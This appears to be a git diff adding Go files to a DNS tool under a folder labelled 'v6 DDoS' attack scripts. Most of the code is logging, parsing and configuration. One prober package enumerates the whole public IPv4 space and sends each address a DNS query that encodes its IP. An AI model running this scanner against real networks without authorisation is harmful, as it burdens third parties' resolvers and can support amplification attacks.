for _, l := range ls.listeners { + l.Errorf(plugin, format, v...) + } + ls.RUnlock() +} + +func (ls *listeners) fatal(plugin string, v ...interface{}) { + ls.RLock() + for _, l := range ls.listeners { + l.Fatal(plugin, v...) + } + ls.RUnlock() +} + +func (ls *listeners) fatalf(plugin string, format string, v ...interface{}) { + ls.RLock() + for _, l := range ls.listeners { + l.Fatalf(plugin, format, v...) + } + ls.RUnlock() +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/log.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/log.go" new file mode 100644 index 0000000..0589a34 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/log.go" @@ -0,0 +1,113 @@ +// Package log implements a small wrapper around the std lib log package. It +// implements log levels by prefixing the logs with [INFO], [DEBUG], [WARNING] +// or [ERROR]. Debug logging is available and enabled if the *debug* plugin is +// used. +// +// log.Info("this is some logging"), will log on the Info level. +// +// log.Debug("this is debug output"), will log in the Debug level, etc. +package log + +import ( + "fmt" + "io" + golog "log" + "os" + "sync" +) + +// D controls whether we should output debug logs. If true, we do, once set +// it can not be unset. +var D = &d{} + +type d struct { + on bool + sync.RWMutex +} + +// Set enables debug logging. +func (d *d) Set() { + d.Lock() + d.on = true + d.Unlock() +} + +// Clear disables debug logging. +func (d *d) Clear() { + d.Lock() + d.on = false + d.Unlock() +} + +// Value returns if debug logging is enabled. +func (d *d) Value() bool { + d.RLock() + b := d.on + d.RUnlock() + return b +} + +// logf calls log.Printf prefixed with level. +func logf(level, format string, v ...interface{}) { + golog.Print(level, fmt.Sprintf(format, v...)) +} + +// log calls log.Print prefixed with level. +func log(level string, v ...interface{}) { + golog.Print(level, fmt.Sprint(v...)) +} + +// Debug is equivalent to log.Print(), but prefixed with "[DEBUG] ". It only outputs something +// if D is true. +func Debug(v ...interface{}) { + if !D.Value() { + return + } + log(debug, v...) +} + +// Debugf is equivalent to log.Printf(), but prefixed with "[DEBUG] ". It only outputs something +// if D is true. +func Debugf(format string, v ...interface{}) { + if !D.Value() { + return + } + logf(debug, format, v...) +} + +// Info is equivalent to log.Print, but prefixed with "[INFO] ". +func Info(v ...interface{}) { log(info, v...) } + +// Infof is equivalent to log.Printf, but prefixed with "[INFO] ". +func Infof(format string, v ...interface{}) { logf(info, format, v...) } + +// Warning is equivalent to log.Print, but prefixed with "[WARNING] ". +func Warning(v ...interface{}) { log(warning, v...) } + +// Warningf is equivalent to log.Printf, but prefixed with "[WARNING] ". +func Warningf(format string, v ...interface{}) { logf(warning, format, v...) } + +// Error is equivalent to log.Print, but prefixed with "[ERROR] ". +func Error(v ...interface{}) { log(err, v...) } + +// Errorf is equivalent to log.Printf, but prefixed with "[ERROR] ". +func Errorf(format string, v ...interface{}) { logf(err, format, v...) } + +// Fatal is equivalent to log.Print, but prefixed with "[FATAL] ", and calling +// os.Exit(1). +func Fatal(v ...interface{}) { log(fatal, v...); os.Exit(1) } + +// Fatalf is equivalent to log.Printf, but prefixed with "[FATAL] ", and calling +// os.Exit(1) +func Fatalf(format string, v ...interface{}) { logf(fatal, format, v...); os.Exit(1) } + +// Discard sets the log output to /dev/null. +func Discard() { golog.SetOutput(io.Discard) } + +const ( + debug = "[DEBUG] " + err = "[ERROR] " + fatal = "[FATAL] " + info = "[INFO] " + warning = "[WARNING] " +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/plugin.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/plugin.go" new file mode 100644 index 0000000..1be79f1 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/plugin.go" @@ -0,0 +1,91 @@ +package log + +import ( + "fmt" + "os" +) + +// P is a logger that includes the plugin doing the logging. +type P struct { + plugin string +} + +// NewWithPlugin returns a logger that includes "plugin/name: " in the log message. +// I.e [INFO] plugin/: message. +func NewWithPlugin(name string) P { return P{"plugin/" + name + ": "} } + +func (p P) logf(level, format string, v ...interface{}) { + log(level, p.plugin, fmt.Sprintf(format, v...)) +} + +func (p P) log(level string, v ...interface{}) { + log(level+p.plugin, v...) +} + +// Debug logs as log.Debug. +func (p P) Debug(v ...interface{}) { + if !D.Value() { + return + } + ls.debug(p.plugin, v...) + p.log(debug, v...) +} + +// Debugf logs as log.Debugf. +func (p P) Debugf(format string, v ...interface{}) { + if !D.Value() { + return + } + ls.debugf(p.plugin, format, v...) + p.logf(debug, format, v...) +} + +// Info logs as log.Info. +func (p P) Info(v ...interface{}) { + ls.info(p.plugin, v...) + p.log(info, v...) +} + +// Infof logs as log.Infof. +func (p P) Infof(format string, v ...interface{}) { + ls.infof(p.plugin, format, v...) + p.logf(info, format, v...) +} + +// Warning logs as log.Warning. +func (p P) Warning(v ...interface{}) { + ls.warning(p.plugin, v...) + p.log(warning, v...) +} + +// Warningf logs as log.Warningf. +func (p P) Warningf(format string, v ...interface{}) { + ls.warningf(p.plugin, format, v...) + p.logf(warning, format, v...) +} + +// Error logs as log.Error. +func (p P) Error(v ...interface{}) { + ls.error(p.plugin, v...) + p.log(err, v...) +} + +// Errorf logs as log.Errorf. +func (p P) Errorf(format string, v ...interface{}) { + ls.errorf(p.plugin, format, v...) + p.logf(err, format, v...) +} + +// Fatal logs as log.Fatal and calls os.Exit(1). +func (p P) Fatal(v ...interface{}) { + ls.fatal(p.plugin, v...) + p.log(fatal, v...) + os.Exit(1) +} + +// Fatalf logs as log.Fatalf and calls os.Exit(1). +func (p P) Fatalf(format string, v ...interface{}) { + ls.fatalf(p.plugin, format, v...) + p.logf(fatal, format, v...) + os.Exit(1) +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/runtime.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/runtime.go" new file mode 100644 index 0000000..de54d17 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/runtime.go" @@ -0,0 +1,12 @@ +package log + +import "runtime" + +// 获取运行时函数 +func RunFuncName() (string, int) { + _, file, line, ok := runtime.Caller(1) + if ok { + return file, line + } + return "null", 0 +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/nonwriter/nonwriter.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/nonwriter/nonwriter.go" new file mode 100644 index 0000000..a82e42b --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/nonwriter/nonwriter.go" @@ -0,0 +1,19 @@ +// Package nonwriter implements a dns.ResponseWriter that never writes, but captures the dns.Msg being written. +package nonwriter + +import "github.com/miekg/dns" + +// Writer is a type of ResponseWriter that captures the message, but never writes to the client. +type Writer struct { + dns.ResponseWriter + Msg *dns.Msg +} + +// New makes and returns a new NonWriter. +func New(w dns.ResponseWriter) *Writer { return &Writer{ResponseWriter: w} } + +// WriteMsg records the message, but doesn't write it itself. +func (w *Writer) WriteMsg(res *dns.Msg) error { + w.Msg = res + return nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/host.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/host.go" new file mode 100644 index 0000000..692da8e --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/host.go" @@ -0,0 +1,121 @@ +package parse + +import ( + "errors" + "fmt" + "github.com/miekg/dns" + "net" + "ohmydns2/plugin/pkg/transport" + "os" + "strings" +) + +// ErrNoNameservers is returned by HostPortOrFile if no servers can be parsed. +var ErrNoNameservers = errors.New("no nameservers found") + +// Strips the zone, but preserves any port that comes after the zone +func stripZone(host string) string { + if strings.Contains(host, "%") { + lastPercent := strings.LastIndex(host, "%") + newHost := host[:lastPercent] + return newHost + } + return host +} + +// HostPortOrFile parses the strings in s, each string can either be a +// address, [scheme://]address:port or a filename. The address part is checked +// and in case of filename a resolv.conf like file is (assumed) and parsed and +// the nameservers found are returned. +func HostPortOrFile(s ...string) ([]string, error) { + var servers []string + for _, h := range s { + trans, host := Transport(h) + if len(host) == 0 { + return servers, fmt.Errorf("invalid address: %q", h) + } + + if trans == transport.UNIX { + servers = append(servers, trans+"://"+host) + continue + } + + addr, _, err := net.SplitHostPort(host) + + if err != nil { + // Parse didn't work, it is not a addr:port combo + hostNoZone := stripZone(host) + if net.ParseIP(hostNoZone) == nil { + ss, err := tryFile(host) + if err == nil { + servers = append(servers, ss...) + continue + } + return servers, fmt.Errorf("not an IP address or file: %q", host) + } + var ss string + switch trans { + case transport.DNS: + ss = net.JoinHostPort(host, transport.Port) + case transport.TLS: + ss = transport.TLS + "://" + net.JoinHostPort(host, transport.TLSPort) + case transport.GRPC: + ss = transport.GRPC + "://" + net.JoinHostPort(host, transport.GRPCPort) + case transport.HTTPS: + ss = transport.HTTPS + "://" + net.JoinHostPort(host, transport.HTTPSPort) + } + servers = append(servers, ss) + continue + } + + if net.ParseIP(stripZone(addr)) == nil { + ss, err := tryFile(host) + if err == nil { + servers = append(servers, ss...) + continue + } + return servers, fmt.Errorf("not an IP address or file: %q", host) + } + servers = append(servers, h) + } + if len(servers) == 0 { + return servers, ErrNoNameservers + } + return servers, nil +} + +// Try to open this is a file first. +func tryFile(s string) ([]string, error) { + c, err := dns.ClientConfigFromFile(s) + if err == os.ErrNotExist { + return nil, fmt.Errorf("failed to open file %q: %q", s, err) + } else if err != nil { + return nil, err + } + + servers := []string{} + for _, s := range c.Servers { + servers = append(servers, net.JoinHostPort(s, c.Port)) + } + return servers, nil +} + +// HostPort will check if the host part is a valid IP address, if the +// IP address is valid, but no port is found, defaultPort is added. +func HostPort(s, defaultPort string) (string, error) { + addr, port, err := net.SplitHostPort(s) + if port == "" { + port = defaultPort + } + if err != nil { + if net.ParseIP(s) == nil { + return "", fmt.Errorf("must specify an IP address: `%s'", s) + } + return net.JoinHostPort(s, port), nil + } + + if net.ParseIP(addr) == nil { + return "", fmt.Errorf("must specify an IP address: `%s'", addr) + } + return net.JoinHostPort(addr, port), nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/parse.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/parse.go" new file mode 100644 index 0000000..1ea364c --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/parse.go" @@ -0,0 +1,37 @@ +// Package parse contains functions that can be used in the setup code for plugins. +package parse + +import ( + "fmt" + "github.com/coredns/caddy" + "ohmydns2/plugin/pkg/transport" +) + +// TransferIn parses transfer statements: 'transfer from [address...]'. +func TransferIn(c *caddy.Controller) (froms []string, err error) { + if !c.NextArg() { + return nil, c.ArgErr() + } + value := c.Val() + switch value { + default: + return nil, c.Errf("unknown property %s", value) + case "from": + froms = c.RemainingArgs() + if len(froms) == 0 { + return nil, c.ArgErr() + } + for i := range froms { + if froms[i] != "*" { + normalized, err := HostPort(froms[i], transport.Port) + if err != nil { + return nil, err + } + froms[i] = normalized + } else { + return nil, fmt.Errorf("can't use '*' in transfer from") + } + } + } + return froms, nil +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/transport.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/transport.go" new file mode 100644 index 0000000..32f7b37 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/parse/transport.go" @@ -0,0 +1,36 @@ +package parse + +import ( + "ohmydns2/plugin/pkg/transport" + "strings" +) + +// Transport 函数返回 s 中定义的传输协议和一个删除传输前缀的字符串(如果有)。如果未定义传输协议,则默认为传输DNS(Do53) +func Transport(s string) (trans string, addr string) { + switch { + case strings.HasPrefix(s, transport.TLS+"://"): + s = s[len(transport.TLS+"://"):] + return transport.TLS, s + + case strings.HasPrefix(s, transport.DNS+"://"): + s = s[len(transport.DNS+"://"):] + return transport.DNS, s + + case strings.HasPrefix(s, transport.GRPC+"://"): + s = s[len(transport.GRPC+"://"):] + return transport.GRPC, s + + case strings.HasPrefix(s, transport.HTTPS+"://"): + s = s[len(transport.HTTPS+"://"):] + return transport.HTTPS, s + + case strings.HasPrefix(s, transport.UNIX+"://"): + s = s[len(transport.UNIX+"://"):] + return transport.UNIX, s + case strings.HasPrefix(s, transport.PROBER+"://"): + s = s[len(transport.PROBER+"://"):] + return transport.PROBER, s + } + + return transport.DNS, s +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/args.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/args.go" new file mode 100644 index 0000000..9da998b --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/args.go" @@ -0,0 +1,30 @@ +package prober + +// 配置键值 +const ( + prange = "range" + ptype = "ptype" + ploop = "loop" + pnet = "netType" + pTimeout = 5 + PAddrNum = "addrNum" + Pchain = "pchain" +) + +const ( + defaultPrange = "global" + defaultPtype = "v64" + defaultTarget = "n64.top" + defaultStartsubv64 = "v4-1" + //defaultMaxGRout = 4000 //默认协程最大运行数 + defaultMaxDial = 5 + defaultPloop = false + // defaultPnum 提供了一个全球探测的目的地址大致范围 + defaultPnum = 4000000000 +) + +// TODO:实现功能 +// 检查输入参数是否有定义,0代表一切正常,1代表有严重错误,无法创建,2代表有额外未定义参数,但仍可创建 +func VaildArgs(args map[string][]string) (string, int) { + return "OK", 0 +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober.go" new file mode 100644 index 0000000..a63113b --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober.go" @@ -0,0 +1,150 @@ +package prober + +import ( + "context" + "crypto/tls" + "github.com/miekg/dns" + "github.com/panjf2000/ants/v2" + "math" + "net" + olog "ohmydns2/plugin/pkg/log" + "sync" +) + +type Prober struct { + Prange []string `json:"prange"` // 探测范围 + Ptype string `json:"ptype"` // 探针类型 + AllAddrNum int `json:"allAddrnum"` // 总共需要探测的地址数 + ScanAddrNum int `json:"scanAddrNum"` // 已探测过的地址数 + Pid int `json:"pid"` // 探测器ID + Loop bool `json:"loop"` //是否持续探测 + m *sync.Mutex + stop context.CancelFunc // stop信号量 + removeFromPGList func() //从探测器列表中删除对应记录 + c *dns.Client +} + +// 新建探测器 +func NewProber(ctx context.Context) *Prober { + p := new(Prober) + + //配置探测器 + ok := true + if p.Prange, ok = ctx.Value(prange).([]string); !ok { + p.Prange[0] = defaultPrange + } + if p.Ptype, ok = ctx.Value(ptype).(string); !ok { + p.Ptype = defaultPtype + } + if p.Loop, ok = ctx.Value(ploop).(bool); !ok { + p.Loop = defaultPloop + } + if p.AllAddrNum, ok = ctx.Value(PAddrNum).(int); !ok { + p.AllAddrNum = defaultPnum + } + + // 配置客户端 + p.c = &dns.Client{ + Timeout: pTimeout, + } + switch ctx.Value(pnet) { + case "tcp": + p.c.Net = "tcp" + case "tcp-tls": + p.c.Net = "tcp-tls" + // TODO:tls配置 + p.c.TLSConfig = &tls.Config{} + default: + break + } + return p +} + +// Start 探测代码 +func (p *Prober) Start(ctx context.Context, target chan net.IP, pool *ants.Pool) { + + var wg sync.WaitGroup + + // 探测轮数 + round := 1 + if p.Loop { + round = math.MaxInt + } + for { + // 下一轮次的数据 + for { + if ip, ok := <-target; ok { + select { + case <-ctx.Done(): + // 中途取消 + return + default: + err := pool.Submit(p.Probe(ctx, ip, &wg)) + if err != nil { + olog.Errorf("prober/Start: %v", err.Error()) + return + } + p.addScanAddrNum() + } + } else { + // 一轮扫描完成 + round -= 1 + // 探测轮数归零,退出 + if round == 0 { + err := p.exit() + if err != nil { + return + } + return + } + // 未归零,开始下一轮 + break + } + } + } +} + +func (p *Prober) Stop() error { + p.stop() + return nil +} + +func (p *Prober) exit() error { + p.removeFromPGList() + return nil +} + +func (p *Prober) addScanAddrNum() { + // 加锁防止数据错误 + p.m.Lock() + p.ScanAddrNum += 1 + p.m.Unlock() +} + +// Probe 所有探测方法的封装方法 +func (p *Prober) Probe(ctx context.Context, ip net.IP, wg *sync.WaitGroup) func() { + msg := new(dns.Msg) + pcf := ctx.Value(Pchain).(*PBConfig) + return func() { + // 将目标IP传入上下文 + ctx = context.WithValue(ctx, Target, ip) + _, _ = pcf.PluginChain.ProbeDNS(ctx, p.c, msg) + wg.Done() + } +} + +//func (p *Prober) Probev64(ip net.IP) error { +// msg := new(dns.Msg) +// msg.SetQuestion(dns.Fqdn(p.makeProbe(ip)), dns.TypeTXT) +// // TODO:展示响应内容 +// _, _, err := p.c.Exchange(msg, ip.String()+":53") +// if err != nil { +// return err +// } +// return nil +//} + +const ( + Paramkey = "httpparam" + Target = "targetip" +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_config.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_config.go" new file mode 100644 index 0000000..edcb142 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_config.go" @@ -0,0 +1,129 @@ +package prober + +import ( + "context" + "crypto/tls" + "fmt" + "net/http" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/request" + "time" +) + +// PBConfig configuration for a single prober. +type PBConfig struct { + + // one or several hostnames to bind the server to. + // defaults to a single empty string that denote the wildcard address + ListenHosts []string + + // The port to listen on. + Port string + + // Root points to a base directory we find user defined "things". + // First consumer is the file plugin to looks for zone files in this place. + Root string + + // Debug controls the panic/recover mechanism that is enabled by default. + Debug bool + + // Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default. + Stacktrace bool + + // 使用的传输协议,目前为HTTP + Transport string + + // If this function is not nil it will be used to inspect and validate + // HTTP requests. Although this isn't referenced in-tree, external plugins + // may depend on it. + HTTPRequestValidateFunc func(*http.Request) bool + + // FilterFuncs is used to further filter access + // to this handler. E.g. to limit access to a reverse zone + // on a non-octet boundary, i.e. /17 + FilterFuncs []FilterFunc + + // ViewName is the name of the Viewer PLugin defined in the Config + ViewName string + + // TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS). + TLSConfig *tls.Config + + // Timeouts for TCP, TLS and HTTPS servers. + ReadTimeout time.Duration + WriteTimeout time.Duration + IdleTimeout time.Duration + + // TSIG secrets, [name]key. + TsigSecret map[string]string + + // Plugin stack. + Plugin []plugin.Pplugin + + // Compiled plugin stack. + PluginChain plugin.Prober + + // Plugin interested in announcing that they exist, so other plugin can call methods + // on them should register themselves here. The name should be the name as return by the + // Handler's Name method. + registry map[string]plugin.Prober + + // FirstConfigInBlock is used to reference the first config in a server block, for the + // purpose of sharing single instance of each plugin among all zones in a server block. + FirstConfigInBlock *PBConfig + + // MetaCollector references the first MetadataCollector plugin, if one exists + MetaCollector ProberMetadataCollector +} + +// FilterFunc is a function that filters requests from the Config +type FilterFunc func(context.Context, *request.HTTPRequest) bool + +// KeyForConfig builds a key for identifying the configs during setup time +func KeyForConfig(blocIndex int, blocKeyIndex int) string { + return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex) +} + +// AddPlugin adds a plugin to a site's plugin stack. +func (pc PBConfig) AddPlugin(m plugin.Pplugin) { + pc.Plugin = append(pc.Plugin, m) +} + +// registerHandler adds a prober to a site's prober registration. +func (pc PBConfig) RegisterProber(p plugin.Prober) { + if pc.registry == nil { + pc.registry = make(map[string]plugin.Prober) + } + + // Just overwrite... + pc.registry[p.Name()] = p +} + +// Handler returns the plugin handler that has been added to the config under its name. +// This is useful to inspect if a certain plugin is active in this server. +// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin +// comes before the plugin you are checking; it will not be there (yet). +func (pc PBConfig) Handler(name string) plugin.Prober { + if pc.registry == nil { + return nil + } + if h, ok := pc.registry[name]; ok { + return h + } + return nil +} + +// Handlers returns a slice of plugins that have been registered. This can be used to +// inspect and interact with registered plugins but cannot be used to remove or add plugins. +// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin +// comes before the plugin you are checking; it will not be there (yet). +func (pc PBConfig) Handlers() []plugin.Prober { + if pc.registry == nil { + return nil + } + hs := make([]plugin.Prober, 0, len(pc.registry)) + for k := range pc.registry { + hs = append(hs, pc.registry[k]) + } + return hs +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_meta.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_meta.go" new file mode 100644 index 0000000..162895a --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/prober_meta.go" @@ -0,0 +1,11 @@ +package prober + +import ( + "context" + "ohmydns2/plugin/pkg/request" +) + +// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins +type ProberMetadataCollector interface { + Collect(context.Context, request.HTTPRequest) context.Context +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberandgoroutlist.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberandgoroutlist.go" new file mode 100644 index 0000000..1e45b41 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberandgoroutlist.go" @@ -0,0 +1,96 @@ +package prober + +import ( + "context" + "errors" + "github.com/panjf2000/ants/v2" + "net" + olog "ohmydns2/plugin/pkg/log" + "strconv" + "time" +) + +// 探测器和协程状态列表 +type ProberAndGoroutList struct { + Pl map[int]*Prober // 探测器 + GRPool *ants.Pool +} + +// 获取当前正在运行的探测器数量 +func (pl *ProberAndGoroutList) GetNum() int { + return len(pl.Pl) +} + +// 增加一个探测器,并返回对应的pid +func (pl *ProberAndGoroutList) AddProber(ctx context.Context, targetIP chan net.IP) string { + //当前时间戳,作为探测器ID + t := time.Now().Unix() + //创建一个新的Prober对象 + p := NewProber(ctx) + pctx, cancel := context.WithCancel(ctx) + p.stop = cancel + p.Pid = int(t) + p.removeFromPGList = func() { + err := pl.DeleteProberById(p.Pid) + if err != nil { + return + } + } + pl.Pl[int(t)] = p + + if p.Prange[0] != defaultPrange { + olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, defaultPrange, p.Ptype) + } else { + olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, "自定义", p.Ptype) + } + // 开始执行任务 + go p.Start(pctx, targetIP, pl.GRPool) + + return strconv.Itoa(p.Pid) +} + +// 列举所有探测器信息 +func (pl *ProberAndGoroutList) ListAllProber() (int, map[int]Prober, error) { + rm := make(map[int]Prober) + for k, v := range pl.Pl { + rm[k] = *v + } + + return pl.GetNum(), rm, nil +} + +// DeleteProberById 根据探测器ID停止探测任务 +func (pl *ProberAndGoroutList) DeleteProberById(pid int) error { + err := pl.Pl[pid].Stop() + delete(pl.Pl, pid) + if err != nil { + panic("can't Stop prober " + strconv.Itoa(pid)) + } + return nil +} + +// DeleteAllProber 删除所有的运行的探测器,底层调用了DeleteProberById +func (pl *ProberAndGoroutList) DeleteAllProber() error { + for k, _ := range pl.Pl { + err := pl.DeleteProberById(k) + if err != nil { + return err + } + } + return nil +} + +// DeleteProber 根据探测器对象找到对应探测ID并删除 +func (pl *ProberAndGoroutList) DeleteProber(p *Prober) error { + for k, v := range pl.Pl { + if v == p { + err := pl.DeleteProberById(k) + if err != nil { + return err + } + return nil + } + } + olog.Error("未找到该探测器") + return errors.New("not found this prober!!") +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberutil.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberutil.go" new file mode 100644 index 0000000..937c59e --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/prober/proberutil.go" @@ -0,0 +1,78 @@ +package prober + +import ( + "bytes" + "encoding/binary" + "fmt" + "net" + "ohmydns2/plugin/pkg/log" + "strconv" + "strings" + + "github.com/pochard/commons/randstr" +) + +// 数字到IP +func uint32toIP4(ipInt uint32) string { + // need to do two bit shifting and “0xff” masking + b0 := strconv.FormatInt(int64((ipInt>>24)&0xff), 10) + b1 := strconv.FormatInt(int64((ipInt>>16)&0xff), 10) + b2 := strconv.FormatInt(int64((ipInt>>8)&0xff), 10) + b3 := strconv.FormatInt(int64((ipInt & 0xff)), 10) + return b0 + "." + b1 + "." + b2 + "." + b3 +} + +// ip到数字 +func ip2Long(ip string) uint32 { + var long uint32 + err := binary.Read(bytes.NewBuffer(net.ParseIP(ip).To4()), binary.BigEndian, &long) + if err != nil { + log.Errorf("proberutil/ip2long: %v", err.Error()) + return 0 + } + return long +} + +// 生成可用于IPv4探测的地址 +func GenGlobIPv4() chan net.IP { + c := make(chan net.IP) + // 从1.0.0.0开始,到223.255.255.255结束(ICANN已分配地址) + go func() { + for n := ip2Long("1.0.0.0"); n < ip2Long("223.255.255.255"); n++ { + ip := net.ParseIP(uint32toIP4(n)) + // 地址全球单播且不是私有地址 + if ip.IsGlobalUnicast() && !ip.IsPrivate() { + c <- ip + } + } + close(c) + }() + return c +} + +// MakeProbe 生成探针的封装 +func (p *Prober) makeProbe(ip net.IP) string { + if p.Ptype == defaultPtype { + return MakeProbev64(ip) + } + return "" +} + +// 构造v64需要的探针 +func MakeProbev64(ip net.IP) string { + ipstr := ip2Eid(ip) + return fmt.Sprintf("c1.rip%v.%v.%v.%v.", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), defaultStartsubv64, defaultTarget) +} + +func MakeTestProbev64(subv64 string, targetzone string) string { + ipstr := ip2Eid(net.ParseIP("0.0.0.0")) + return fmt.Sprintf("c1.%v.%v.%v.%v", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), subv64, targetzone) +} + +func ip2Eid(ip net.IP) string { + i := ip.String() + if strings.Contains(i, ":") { + return strings.ReplaceAll(i, ":", "-") + } + return strings.ReplaceAll(i, ".", "-") +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/connect.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/connect.go" new file mode 100644 index 0000000..3fae352 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/proxy/connect.go" @@ -0,0 +1,157 @@ +package proxy + +import ( + "context" + "io" + "net" + "ohmydns2/plugin/pkg/request" + "strconv" + "sync/atomic" + "time" + + "github.com/miekg/dns" +) + +// limitTimeout is a utility function to auto-tune timeout values +// average observed time is moved towards the last observed delay moderated by a weight +// next timeout to use will be the double of the computed average, limited by min and max frame. +func limitTimeout(currentAvg 